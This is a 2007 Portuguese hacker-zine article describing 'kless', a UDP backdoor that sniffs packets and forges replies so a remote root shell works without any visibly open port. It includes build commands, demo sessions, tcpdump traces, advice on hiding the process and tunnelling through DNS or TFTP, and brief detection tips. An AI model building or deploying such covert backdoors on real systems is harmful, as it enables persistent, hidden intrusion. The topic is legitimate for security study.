[ --- The Bug! Magazine _____ _ ___ _ /__ \ |__ ___ / __\_ _ __ _ / \ / /\/ '_ \ / _ \ /__\// | | |/ _` |/ / / / | | | | __/ / \/ \ |_| | (_| /\_/ \/ |_| |_|\___| \_____/\__,_|\__, \/ |___/ [ M . A . G . A . Z . I . N . E ] [ Numero 0x02 <---> Edicao 0x01 <---> Artigo 0x03 ] .> 14 de Fevereiro de 2007, .> The Bug! Magazine < staff [at] thebugmagazine [dot] org > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ kless, connecting to void and getting out alive +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ .> 23 de Janeiro de 2007, .> setuid_ < setuid [at] promisc [dot] org > < http://setuid.promisc.org > [ --- Indice + 0. <---> Abstrato + 1. <---> Introducao + 2. <---> Principios de backdoor em user-land + 2.1. <-> Conectando a uma porta fechada + 3. <---> Connection-less connection + 3.1. <-> sniff, sniff!!! + 3.2. <-> Escrevendo pacotes + 4. <---> Implementacao + 5. <---> kless-echo + 6. <---> Jogando pimenta no caldinho de feijao + 7. <---> kless-bd + 8. <---> O jeito como poderia ser + 9. <---> Nova fronteira: multiple binds, TCP, etc... + 10. <---> Seguranca, e' possivel? + 11. <---> Conclusao + 12. <---> Referencias [ --- 0. Abstrato Este documento procura demonstrar uma maneira de implementar backdoors (em user-land) em um sistema, de forma que permita a execucao remota de comandos utilizando a suite TCP/IP, porem sem que seja necessario abrir nenhuma porta no servidor. A comunicacao ocorre transparente para o cliente, enquanto o servidor simula a pilha TCP/IP durante a execucao. A intencao do texto e dos programas desen- volvidos como prova de conceito e' apontar as diversas maneiras pelas quais e' possivel subverter a seguranca de um sistema. [ --- 1. Introducao Backdoors sao a principal maneira pela qual um atacante mantem acesso a um sistema que tenha sido comprometido. A evolucao deste tipo de artefato e' co- mum e existem diversos exemplos [1] sobre como eles podem ser implementados, e este documento propoe mais uma maneira ;). A intecao do texto e' implementar um modelo cliente/servidor para uma back- door que permita acesso remoto utilizando a suite TCP/IP (especificamente UDP) porem sem que nenhuma porta esteja efetivamente aberta no lado do ser- vidor em momento algum durante a comunicacao remota, de maneira que isso seja praticamente transparente para o cliente. A escolha sobre qual protocolo da camada de transporte utilizar na implemen- tacao da backdoor e' exclusivamente ligado a complexidade de implementacao. Enquanto a implementacao utilizando TCP e' totalmente viavel, simular a pi- lha TCP em todas/ou algumas de suas particularidades (tcp handshake, re- transmition, ack, syn, rst, window size advertisements, etc...) se torna uma tarefa altamente complexa e tediosa para o simples proposito de uma back- door. No entanto a simplicidade do UDP nos permite uma implementacao bem mais simplificada para a nossa prova de conceito, e serve o seu proposito de ser um meio de transporte orientado a datagramas sem fornecer nenhum meio de garan- tia sobre a entrega das mensagens ao destinatario. O leitor deste texto nao precisa necessariamente ter familiaridade com os itens abaixo, mas facilitaria bastante a compreensao de certos trechos do ar- tigo: - C [2] - Suite TCP/IP de protocolos[3], a interacao entre os pro- tocolos da camada de transporte e o protocolo de contro- le ICMP [3][4] - Construcao/captura de pacotes em user-land e bibliotecas existentes para este tipo de trabalho (libpcap, libnet). Agradecimentos: dm, duhru@overt.org, todo o pessoal do #0xff@freenode.net - o ultimo endereco da internet ;). Vale ressaltar que todos os exemplos aqui listados foram testados em um FreeBSD 6.2 e em um FreeBSD 6.1, mas a maioria senao todos os exemplos/casos ilustrados devem funcionar nas demais distribuicoes UNIX disponiveis por ai. O codigo fonte dos programas de prova de conceito utilizados no texto estao disponiveis em: http://setuid.promisc.org [ --- 2. Principios de Backdoors em user-land Enquanto backdoors em kernel-land conseguem suprir e ate' mesmo superar a capacidade e servicos fornecidos ao usuario, as vezes e' impossivel manipular o kernel (seja por falta de conhecimento sobre o sistema, seja por falta de codigo-fonte para utilizar - IBM AIX daria um bom exemplo deste caso, seja ainda por outros motivos que nao precisam ser listados) o que nao permite a desqualificacao de backdoors em user-land mesmo apos toda a evolucao ocorrida nos ultimos 6 anos. Em user-land a maioria das backdoors que fornecem acesso remoto a maquina ou sao desprovidos de qualquer meio de esconder os rastros do acesso (contam com a ineficiencia do administrador da maquina :), ou entao utilizam tecnicas nas quais a conexao utilizada e' disponivel apenas atraves de passos segui- dos pelo cliente (port-knocking e' um bom exemplo disso [5]). Ambos os meios mencionados acima permitem que um administrador perceba alguma atividade sus- peita atravez de simples comandos administrativos como sockstat(1) ou netstat(1), ou lsof. A backdoor desenvolvida nesse texto subverte a maneira como simples afirma- coes relacionadas ao TCP/IP devem ser encaradas: - Sempre que uma porta TCP/UDP estiver aberta necessaria- mente deve haver um aplicativo recebendo/enviando dados nessa porta (seja ele cliente ou servidor) - Sempre que um administrador perceber uma porta aberta e' possivel determinar qual aplicativo local esta conecta- do a ela. - Se uma porta nao estiver aberta nao pode haver comuni- cacao entrando ou saindo por ela. A intencao do texto e' subverter o significado das duas primeiras afirma- coes e provar que e' possivel simular para todos os efeitos situacoes na qual a terceira afirmacao se torne falsa. [ --- 2.1. Conectando-se a uma porta fechada Enquanto o protocolo TCP fornece maneiras bem explicitas de se verificar se uma porta TCP esta aberta ou fechada atravez de um reset (ACK/RST) no entanto o UDP utiliza-se de outro mecanismo para notificar o evento de uma porta fe- chada: Por exemplo, ao tentar enviar um datagrama UDP para uma porta na qual nao existe nenhum processo ouvindo, o resultado e' o seguinte: --- setuid@zion$ nc -u 192.168.0.102 333 hello world setuid@zion$ --- --- setuid@zion$ sudo tcpdump -i lo0 "ip proto \icmp or \udp" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 96 bytes 06:54:52.887388 IP 192.168.0.102.60490 > 192.168.0.102.333: UDP, length 12 06:54:52.887407 IP 192.168.0.102 > 192.168.0.102: ICMP 192.168.0.102 udp port 333 unreachable, length 36 --- Vale ressaltar que o cliente "nc" (netcat) termina a sua execucao compul- soriamente apos ser notificado que a porta 333 esta fechada no host de desti- no do pacote. Ou seja, quando o kernel recebe um pacote, ele o empura pilha abaixo ate' chegar ao header UDP do pacote quando e' possivel determinar a porta de desti- no deste datagrama. O proximo passo e' determinar se existe algum processo es- perando algum pacote naquela porta, no nosso caso nao existia nenhum processo, entao o kernel envia de volta para o endereco de origem um pacote ICMP infor- mando que a porta 333 e' "inalcancavel", ou seja, nao existe ninguem ouvin- do naquela porta. Esse e' o protocolo sobre como informar se uma porta UDP esta' fechada. Porem a especificacao no lado do cliente e' um pouco menos rigida, ela permite que o cliente especifique se quer ou nao ser notificado sobre o recebimento deste pacote ICMP informando que a porta de destino esta' fechada. Vamos ilus- trar melhor sobre o caso: Considere um cliente UDP simples que apenas envia o que for digitado no stdin e espere por uma resposta do servidor [6]. Basicamente os passos que um cliente UDP deve executar sao: - socket() - obtem um file descriptor para comunicacao - captura o input via stdin (fgets(), etc..) - sendto() - envia as informacoes recebidas do stdin - recvfrom() - recebe as informacoes enviadas como res- posta. Veja o output: --- setuid@zion$ ./udp-client setuid.ath.cx 333 hello world --- --- setuid@zion$ sudo tcpdump -ni ath0 "ip proto \icmp or \udp" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ath0, link-type EN10MB (Ethernet), capture size 96 bytes 07:21:39.225719 IP 74.52.16.40.49268 > 192.168.0.103.333: UDP, length 12 07:21:39.225746 IP 192.168.0.103 > 74.52.16.40: ICMP 192.168.0.103 udp port 333 unreachable, length 36 --- Note que o cliente nao saiu como no primeiro teste usando o netcat mas ficou esperando que a chamada recvfrom() retorna-se. A diferenca entre os dois apli- cativos clientes explica a maneira como um cliente UDP e' notificado sobre a disponibilidade de uma porta ou nao. O 'netcat' faz apenas um passo a mais que o nosso cliente de exemplo 'udp- client', ele faz uma chamada a syscall connect(2). Isso e' um fato muito in- teressante das sockets BSD, quando uma socket e' usada com IPPROTO_TCP a fun- cao da chamada connect(2) e' realmente tentar estabelecer uma conexao entre os dois pontos (fazendo o 3way handshake[3]) no entanto o significado do con- nect(2)em uma socket IPPROTO_UDP e' outro. Em UDP nao existe o conceito de conectar-se a uma maquina ou estabelecer uma conexao, na camada de transporte nao existe garantia alguma de que um pacote chegou ao destino, essa inteligencia deve ser implementada na camada do apli- cativo, como faz o TFTP [7]. Portanto se um cliente UDP chamar a syscall connect(2) o efeito e' diferente do obtido quando usando TCP. Erros assincronos nao sao retornado para a sockets UDP a nao ser que elas tenham sido conectadas. Nao existe handshake ou algo parecido, o kernel sim- plesmente guarda o par IP/Port do destinatario dos datagramas, por tanto quan- do o sistema do destinatario receber o datagrama direcionado a porta fechada e enviar um ICMP port unreachable para a origem, o kernel da origem veri- fica se o IP/Porta contido na mensagem ICMP esta' armazenado devido a uma chamada connect(2), caso esteja ele retorna o erro para o processo caso con- trario o kernel silenciosamente descarta o pacote ICMP. [ --- 3. Connection-less connection Agora que ja sabemos como procede o protocolo UDP quando tenta se comunicar com uma porta fechada, nos ja' podemos delinear quais sao os obstaculos que enfrentaremos para fazer essa backdoor se tornar realidade: - nao pode haver nenhuma porta aberta no servidor que tenha relacao com a nossa comunicacao - nos devemos ser capazes de receber as informacoes que sao direcionadas a esta porta que vai estar fechada - nos devemos ser capazes de responder aos pacotes do cliente, de maneira que pareca que eles estao sendo enviados pela porta. Nos nao podemos usar read, write, sendto, etc, uma vez que nao temos nenhuma socket. - o cliente deve ignorar os pacotes ICMP port un- reachable que serao recebidos uma vez que o ker- nel identificara que a nossa comunicacao esta' direcionada para uma porta fechada. Estes sao os nossos problemas, uns sao faceis de lidar outros nao, os pas- sos mais cruciais sao os passos 2 e 3 que envolvem simular as funcoes de read/write que normalmente sao auxiliadas pelo uso de sockets. [ --- 3.1. sniff, sniff!!! Quando um pacote chega ate um interface de rede (ethernet, wireless, ppp, etc) ele e' empurrado pilha abaixo de forma que o kernel vai analisando e descar- tando conforme necessario o pacote, por exemplo: MAC address no header nao e' o mesmo que a interface e a interface nao esta' em modo promiscuo - descar- ta o pacote, checksum do ip header esta' incorreta - descarta o pacote, e assim por diante. O que e' importante e' que e' possivel utilizar certas interfaces para se obter uma copia dos pacotes recebidos por uma ou todas as interfaces de rede de um sistema. Essa copia e' independente do processamento real recebido pelo pacote, e' assim que funciona o tcpdump(1) e milhoes de outras ferramentas existentes por ai. Re-inventar a roda e' uma coisa feia de se fazer e algumas vezes resulta em rodas quadradas, retangulares, e' ai que bibliotecas como libpcap[8] sao extramamente uteis pois concetram em um unico local o esforco que seria des- centralizado e estaria fadado a ser incompleto. Por tanto acabamos de resolver uma grande parte do nosso problema, nos ja conseguimos com a libpcap ou com qualquer outra maneira de "sniffar" os pa- cotes obter uma copia exata dos pacotes que sao direcionados para uma porta que esta' fechada. Outro ponto importante a ser ressaltado e' que devido a na- tureza do protocolo UDP nos conseguimos obter o conteudo dos pacotes (o que realmente esta' sendo enviado em nossa direcao, a informacao em si, e nao ca- madas de protocolos) de uma so' vez e com um unico pacote, o que poderia ser diferente com o TCP. Essa habilidade ja' elimina a necessidade de abrirmos portas afim de re- ceber os dados que algum cliente queira nos enviar. Vamos ver agora como li- dar com a outra parte do problema. [ --- 3.2. Escrevendo pacotes A outra parte do nosso problema e' como enviar eventuais respostas para o cliente (digamos que ele tenha enviado um comando whoami ou id por exemplo) nos queremos conseguir enviar para ele o resultado do comando, afim de prover uma interatividade de comunicacao. A outra parte do problema e' solucionada tambem de uma maneira a nao re- inventar a roda e denovo ganhar com alta portabilidade, libnet [9]. Esta e' provavelmente a parte mais simples do codigo pois nos temos todas as informacoes relevantes a nosso dispor: udp src/dst port, ip src/dst address, checksums, payload, informacoes adicionais dos headers e etc... E' so' uma questao de construir o pacote correto afim de simular uma respos- ta legitima, que pareca ter vindo de uma porta, que de fato esta' fechada. Va- le a pena ressaltar que se nos estivessemos fazendo essa backdoor usando TCP nos teriamos acesso a todos os syn's e ack's e tudo mais o que permitiria de maneira facil simular uma resposta autentica. Agora que nos ja estabelecemos as nossas maneiras de ler e escrever um paco- te (read/write ;)) vamos implementar um simples exemplo para comecarmos a brincar. [ --- 4. Implementacao As funcoes basicas que nos devemos implementar sao as funcoes de read e write, respectivamente, ler um pacote vindo da libpcap (usando pcap_loop()), e escre- vendo um pacote de volta para a rede (usando libnet_write()). O resto e' o resto, o que nos iremos fazer com os dados que foram transmiti- dos varia muito de caso para caso, e e' similar a abstracao fornecida por BSD sockets, elas garantem a transmissao de dados e nao o que o seu servidor/cli- ente irao implementar. Por tanto vamos fazer um exemplo simples, um servi- dor echo. [ --- 5. kless-echo Servidores echo sao uma verdadeira maravilha quando a intencao e' se ter o menor trabalho possivel afim de demonstrar que uma comunicacao esta' aconte- cendo. Para quem se interessar pode-se ler [10]. Kless-echo e' um servidor UDP que responde de volta para o cliente "qualquer input que ele tenha recebido", o seu codigo e' bem simples e encontra-se em [11]. Primeiro nos compilamos e executados o servidor: --- setuid@zion$ cd kless-echo/ setuid@zion$ ls Makefile README kless-echo.c udp-client.c setuid@zion$ make gcc kless-echo.c -o kless-echo -Wall -lpcap -lnet -L/usr/local/lib -I/usr/local/include/ `libnet-config --libs --defines` gcc udp-client.c -o udp-client -Wall setuid@zion$ sudo ./kless-echo -i ath0 -p 333 -d setuid@zion$ sockstat -4 -p 333 USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS setuid@zion$ netstat -an -p udp | grep 333 setuid@zion$ --- Nos compilamos e executamos o kless-echo, configuramos ele para ouvir na interface "ath0", aguardando pacote vindos para a porta 333/UDP (talvez agora seja um bom momento para mencionar que afim de nao recebermos todos os pacotes nos usamos os filtros do BPF para determinar que queremos apenas os pacotes filtrados pela seguinte regra: "udp dst port 333"), o -d coloca o nosso servi- dor em background como um daemon. Note que nada aparece no output do sockstat, do netstat... Em outra maquina situada em outro ponto do planeta nos executamos um tcp- dump(1) e o 'nc' ligeiramente alterado de forma a nao sair apos receber o ICMP port unreachable. --- vlima@cerveau$ nc -u setuid.ath.cx 333 hello world <--- input do cliente hello world >--- resposta do kless-echo funcionou <--- input do cliente funcionou >--- resposta do kless-echo ^C punt! <--- control-c para sair do 'nc' vlima@cerveau$ --- As linhas que nos interessam do tcpdump rodando no cliente sao: (os comen- tarios comecam com '#') --- vlima@cerveau$ sudo tcpdump -n -i rl0 "ip proto \udp or \icmp" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on rl0, link-type EN10MB (Ethernet), capture size 96 bytes 06:49:45.098391 IP 74.52.16.40.58307 > 12.96.160.115.53: 6756+ A? setuid.ath.cx. (31) 06:49:45.144893 IP 12.96.160.115.53 > 74.52.16.40.58307: 6756 1/5/5 A 201.53.69.175 (227) # gethostbyname - resolvendo o endereco de IP # associado ao setuid.ath.cx 06:49:49.728784 IP 74.52.16.40.65120 > 201.53.69.175.333: UDP, length 12 # enviados 12 bytes pela porta 65120/UDP para porta 333/UDP aonde esta' # rodando o kless echo (hello world\n = 12bytes ;)) 06:49:49.934125 IP 201.53.69.175 > 74.52.16.40: ICMP 192.168.0.103 udp port 333 unreachable, length 36 # resposta do servidor rodando kless-echo indicando que a porta 333/UDP # nao esta' aberta, note que e' um pacote ICMP 06:49:49.937973 IP 201.53.69.175.333 > 74.52.16.40.65120: UDP, length 12 # resposta do kless-echo enviando de volta o que o cliente # enviou (12 bytes) conforme aparece no output do netcat 06:49:54.065045 IP 74.52.16.40.65120 > 201.53.69.175.333: UDP, length 10 # enviados 10 bytes pela porta 65120/UDP para porta 333/UDP aonde esta' # rodando o kless echo (funcionou\n = 10bytes :)) 06:49:54.228556 IP 201.53.69.175 > 74.52.16.40: ICMP 192.168.0.103 udp port 333 unreachable, length 36 # resposta do servidor rodando kless-echo indicando que a porta 333/UDP # nao esta' aberta, note que e' outro pacote ICMP 06:49:54.232536 IP 201.53.69.175.333 > 74.52.16.40.65120: UDP, length 10 # resposta do kless-echo enviando de volta o que o cliente # enviou (10 bytes) conforme aparece no output do netcat --- Tambem deixamos rodando um tcpdump(1) no servidor aonde o kless-echo esta' sendo executado, este e' o output: --- setuid@zion$ sudo tcpdump -n -i ath0 "ip proto \icmp or \udp" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ath0, link-type EN10MB (Ethernet), capture size 96 bytes 10:48:11.178606 IP 74.52.16.40.65120 > 192.168.0.103.333: UDP, length 12 # recebidos os 12 bytes direcionados para a porta 333/UDP # (hello world\n = 12 bytes :)) 10:48:15.470810 IP 74.52.16.40.65120 > 192.168.0.103.333: UDP, length 10 # recebidos os 10 bytes direcionados para a porta 333/UDP # (funcionou\n = 10 bytes ;)) --- A interface de saida no servidor nao e' a mesma de entrada, logo os pacotes ICMP port unreachable e as respostas do echo-server so' aparecem na outra in- terface tambem rodando tcpdump(1): --- setuid@zion$ sudo tcpdump -n -i fxp0 "ip proto \icmp or \udp" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on fxp0, link-type EN10MB (Ethernet), capture size 96 bytes 10:48:11.178633 IP 192.168.0.103 > 74.52.16.40: ICMP 192.168.0.103 udp port 333 unreachable, length 36 # o kernel enviando o ICMP port unreachable para o cliente # pois a porta 333/UDP nao esta' aberta 10:48:11.180195 IP 192.168.0.103.333 > 74.52.16.40.65120: UDP, length 12 # a respota do kless-echo, enviando de volta os 12 bytes enviados pelo # cliente. 10:48:15.470836 IP 192.168.0.103 > 74.52.16.40: ICMP 192.168.0.103 udp port 333 unreachable, length 36 # o kernel enviando o ICMP port unreachable para o cliente # depois de receber o segundo datagram. 10:48:15.472310 IP 192.168.0.103.333 > 74.52.16.40.65120: UDP, length 10 # a resposta do kless-echo enviando de volta os 10 bytes do cliente. --- Ao que tudo indica o cliente esta' se comunicando com uma porta aberta, o servidor acha que nao tem porta alguma aberta, e o kless-echo esta' funcionan- do independente de tudo isso ;) Chegou a hora de nos fazermos a coisa ficar mais interessante, e se os sim- ples "hello world" fossem "whoami" e se ao invez de simplesmente repetir o que foi recebido se ele executasse aquilo como um comando? [ --- 6. Jogando pimenta no caldinho de feijao Quem gosta de caldinho de feijao sabe que o gosto e' outro depois que voce joga 3 gotinhas de pimenta. Exatamente o que nos vamos fazer aqui. Basicamente o kless-echo foi uma pequena prova de conceito para ilustrar como ira proce- der a nossa backdoor. Ele implementou de maneira re-utilizavel as instrucoes de read/write, so nos falta agora, preencher o miolo com uma maneira de execu- tar os comandos e receber a saida do mesmo. O que nos precisamos e' de um canal de comunicacao entre dois pontos, que seja bi-direcional em ambas as direcoes, ou seja, eu posso escrever/ler de um lado e do outro tambem. Existem varias maneiras de se conseguir isso, uma delas e' a system call socketpair(2). Ao executar essa syscall nos temos dois descritores que formam um par, a segunda etapa e' criar um processo que execute os comandos recebidos. fork(2), nos serve a esse proposito muito bem, pois ainda tem a vantagem de herdar os descritores ja' abertos, entao a comunicacao via socketpair(2) fica ga- rantida. O terceiro passo e' duplicar os descritores de entrada e saida desse novo processo de maneira que nos podemos ler/escrever no stdin/stdout /stderr dele, dup2(2) nos oferece essa funcionalidade. Ao duplicarmos o descritor, nos o amarramos a uma das sockets criadas com o socketpair(2) as- sim a comunicacao fica direta, o que for escrito no socket vai sair direto no stdin do processo criado e o inverso vale para o que for escrito no stdout, que saira no file descriptor... O ultimo passo vem ao executar "/bin/sh" via execve(2), ja' com todos os ho- oks necessarios nos seus devidos lugares: Como os descritores stdin / stdout / stderr ja foram duplicados para o nosso pipe com a execucao do /bin/sh nos te- mos uma shell sendo executada e possuimos o controle do seu meio de escrita /leitura, so' falta uma funcao que execute os comandos, ou seja, envia pi- pe abaixo um comando recebido e espere por alguns mili-segundos a resposta es- sa por sinal e' a parte mais facil do codigo ;) [ --- 7. kless-bd Ao prover as funcionalidades da secao anterior nos conseguimos transformar um codigo do kless-echo para uma backdoor funcional, vamos testa'-la: --- setuid@zion$ l Makefile kless-bd.c setuid@zion$ make gcc kless-bd.c -o kless-bd -Wall -lpcap -lnet -L/usr/local/lib -I/usr/local/include/ `libnet-config --libs --defines` setuid@zion$ sudo ./kless-bd -i ath0 -p 333 -d Password: setuid@zion$ sockstat -4 -p 333 USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS setuid@zion$ netstat -an -pudp | grep 333 setuid@zion$ --- Backdoor esta' rodando devidamente, vamos colocar os sniffers nos lugares cor- retos para verificarmos a comunicacao ocorrendo e tentar executar alguns comandos remotamente. --- vlima@cerveau$ nc -u setuid.ath.cx 333 whoami <--- comando digitado root >--- resposta recebida uname -a <--- comando digitado FreeBSD zion 6.2-RELEASE FreeBSD 6.2-RELEASE #14: Wed Jan 24 10:37:58 BRST 2007 root@zion:/usr/obj/usr/src/sys/zion.kernel amd64 >--- resposta recebida ^C punt! vlima@cerveau$ --- Os nossos sniffers capturaram a seguinte acao ocorrendo na interface de entra- da: --- setuid@zion$ sudo tcpdump -i ath0 -n "ip proto \icmp or \udp and port 333" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ath0, link-type EN10MB (Ethernet), capture size 96 bytes 09:55:55.378125 IP 74.52.16.40.64582 > 192.168.0.103.333: UDP, length 7 # recebidos 7 bytes do comando "whoami\n" 09:56:00.086185 IP 74.52.16.40.64582 > 192.168.0.103.333: UDP, length 9 # recebidos 9 bytes do comando "uname -a\n" --- Agora as respostas do kless-bd pela interface de saida: --- setuid@zion$ sudo tcpdump -i fxp0 -n "ip proto \icmp or \udp and port 333" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on fxp0, link-type EN10MB (Ethernet), capture size 96 bytes 09:55:57.456356 IP 192.168.0.103.333 > 74.52.16.40.64582: UDP, length 5 # resposta ao comando "whoami" = "root\n" (5 bytes) 09:56:02.163349 IP 192.168.0.103.333 > 74.52.16.40.64582: UDP, length 134 # resposta ao comando "uname -a" --- Isso quer dizer que agora nos temos umas backdoor totalmente funcional, con- seguindo executar comandos com a permissao de super-usuario, pois ate' para executar a backdoor e' preciso ter esse nivel de acesso ao sistema. Agora existem algumas falhas dependentes do nosso modelo que tornam a back- door um pouco fragil, pontos aonde as coisas poderiam ser melhor. [ --- 8. O jeito como poderia ser Criptografia: Toda a comunicacao poderia ser criptografada, de forma a esconder o conteudo viajando pelos fios, isso faria com que mesmo tendo a tentativa de se ler o conteudo dos pacotes nao seria possivel enxergar ali nada de significa tivo. Existem diversas maneiras de se criptografar o trafego que seriam de aplicave- is ao kless-bd. Escondendo o processo: Mesmo que nao seja listado nas saidas das ferramentas comuns de procura por portas abertas no sistema (sockstat, netstat, e etc..), um simples "ps -axu" revelaria o processo sendo executado, portanto ao executar essa backdoor e' bom alterar o codigo dela para nao receber nenhum parametro de linha de coman- do, que seja somente um ./cmd ou algo que seja nada suspeito, e ja ter as op- coes de porta e interface embutidas no programa. O melhor seria ainda usar o kless em conjunto com algum meio de se ocultar a execucao de certos proces- sos [12]. Emulacao total do terminal: Apesar de ser algo extremamente dificil e nao portavel na maioria das vezes, isso seria uma otima funcionalidade de se ter. A habilidade de executar vir- tualmente qualquer programa console-based seria de agrado para muitas pes- soas. [ --- 9. Nova fronteira: multiple binds, TCP, etc... Uma coisa que o kless nos permite enxergar e' a possibilidade de se rodar mul- tiplos processos ouvindo (da maneira como o kless ouve as coisas) na mesma porta. Isso de maneira alguma representa alguma dificuldade de implementacao na verdade e' so' uma questao de construir o seu servidor de maneira a "simu- lar" o application protocol do aplicativo que voce estiver emulando. A utilidade principal disso seria poder utilizar portas ja' abertas em um firewall de forma a fazer a comunicacao entre o cliente e o servidor. Outra utilidade seria ocultar a comunicacao ocorrendo como trafico autorizado, ou na pior das hipoteses como pacotes mal-construidos ou algum trafego ano- malo, mas dificilmente como uma tentativa de ataque. Deve-se tomar cuidado ainda com os possiveis logs gerados pelos aplicativos autenticos e como eles responderiam aos nossos pacotes "mal-comportados". Bons servicos a serem alvos de um multiple bind seriam DNS (named) ou o TFTPD, se tornando apenas uma questao de adaptar o codigo ja existente do kless-bd para a peculiariedades dos seus protocolos a nivel de aplicativo, seria bom utilizar-se por exemplo de peculiaridades do proprio aplicativo, como no caso do DNS o campo de identificacao do seu cabecalho, e colocando ao invez de "enderecos" a serem resolvidos comandos a serem executados de forma que a backdoor em si apenas execute o que vier com aquele ID, e assim por diante. Implementar o kless ou algo similar utilizando TCP e' uma tarefa viavel co- mo ja foi dito no texto, porem tediosa e possivelmente deve dar mais trabalho do que utilidade mas existem casos em que se torna a unica opcao. Existem partes do protocolo TCP que nao precisam ser implementadas tornan- do a construcao do codigo uma processo mais facil outra boa maneira seria im- plementar um cliente de forma similar ao servidor (ouvindo por pacotes dire- to na interface e nao em uma porta utilizando sockets) dessa forma nao se- ria necessario nem implementar o protocolo corretamente, pois uma copia do pacote (a que ficaria no kernel) seria descartada, e o seu cliente saberia que se trata de um pacote destinado a ele, mesmo que nao tenha por exemplo o SYN correto por exemplo,as possibilidades sao imensas, resta experimentar. [ --- 10. Seguranca, e' possivel? Obvio que para cada maneira de subverter a seguranca de um sistema, exis- te uma maneira de se proteger e outra de se subverter essa medida e assim por diante. Se por um lado com o kless o administrador perde a capacidade de utilizar comandos como sockstat, ou netstat afim de verificar a existencia de proces- sos fazendo comunicacao via UDP, alguns patches podem ser aplicados ao kernel afim de verificar quais processos abriram o /dev/bpf para leitura ou alguma coisa do genero [13]. O comando fstat em sistemas BSDs tambem indica que um processo esta'com um descritor aberto para o /dev/bpfXX, ou ainda existem programas como o bpfstat que e' capaz de ler essa informacao direto do kernel-land e mapear a relacao: processo -> interface no sistema. [ --- 11. Conclusao A intecao deste texto foi mostrar uma maneira de se estabelecer uma conexao de maneira transparente para o cliente e ocultada no servidor. Existem metodos que sao muito mais eficazes do que esse, porem estou certo de que existem ca- sos no qual a utilizacao do kless ou seu conceito satisfaz de maneira sufi- ciente as necessidades de alguem almejando manter o acesso remoto a maquinas comprometidas. Se algum leitor extender o conceito aqui ilustrado eu encorajo o contato comigo afim de aprofundar a discussao no assunto. O codigo fonte e demais projetos relacionados ao kless podem ser encontrados no endereco abaixo: http://setuid.promisc.org [ --- 12. Referencias: [1] - Phrack 61 - Kernel Rootkit Experiences stealth@segfault.net [2] - The C programming Language Dennis Ritchie, Brian Kernighan [3] - TCP/IP Illustrated Vol.1 W. Richard Stevens [4] - Unix Network Programming Vol.1 W. Richard Stevens [5] - The Bug Magazine 01 - Port knocking hash@gotfault.net [6] - udp-client.c - kless/udp-client.c [7] - RFC 1350 - Trivial File Transfer Protocol version 2 [8] - libpcap - www.tcpdump.org [9] - libnet - www.packetfactory.net/libnet [10] - RFC0862 - Echo Protocol, por incrivel que parece ela e' uma STD ;) Talvez tenha sido por conta da sua simplici- dade. Existem mais ou menos uns 3000 RFC e apenas uns 80 STD, o status de padrao atingido por RFC's apos serem aprovadas pelo IETF. [11] - kless/kless-echo/ [12] - Confesso que seria bem mais facil es- crever um modulo para o kernel que esconda a existencia de um processo, do que um que simule o jeito como kless opera. [13] - O autor possui um patch ou dois para FreeBSD que imprimem uma mensagem no syslog e no console com o PID de cada processo que abre um descritor para o /dev/bpf e outros pontos criticos do kernel nesse assunto.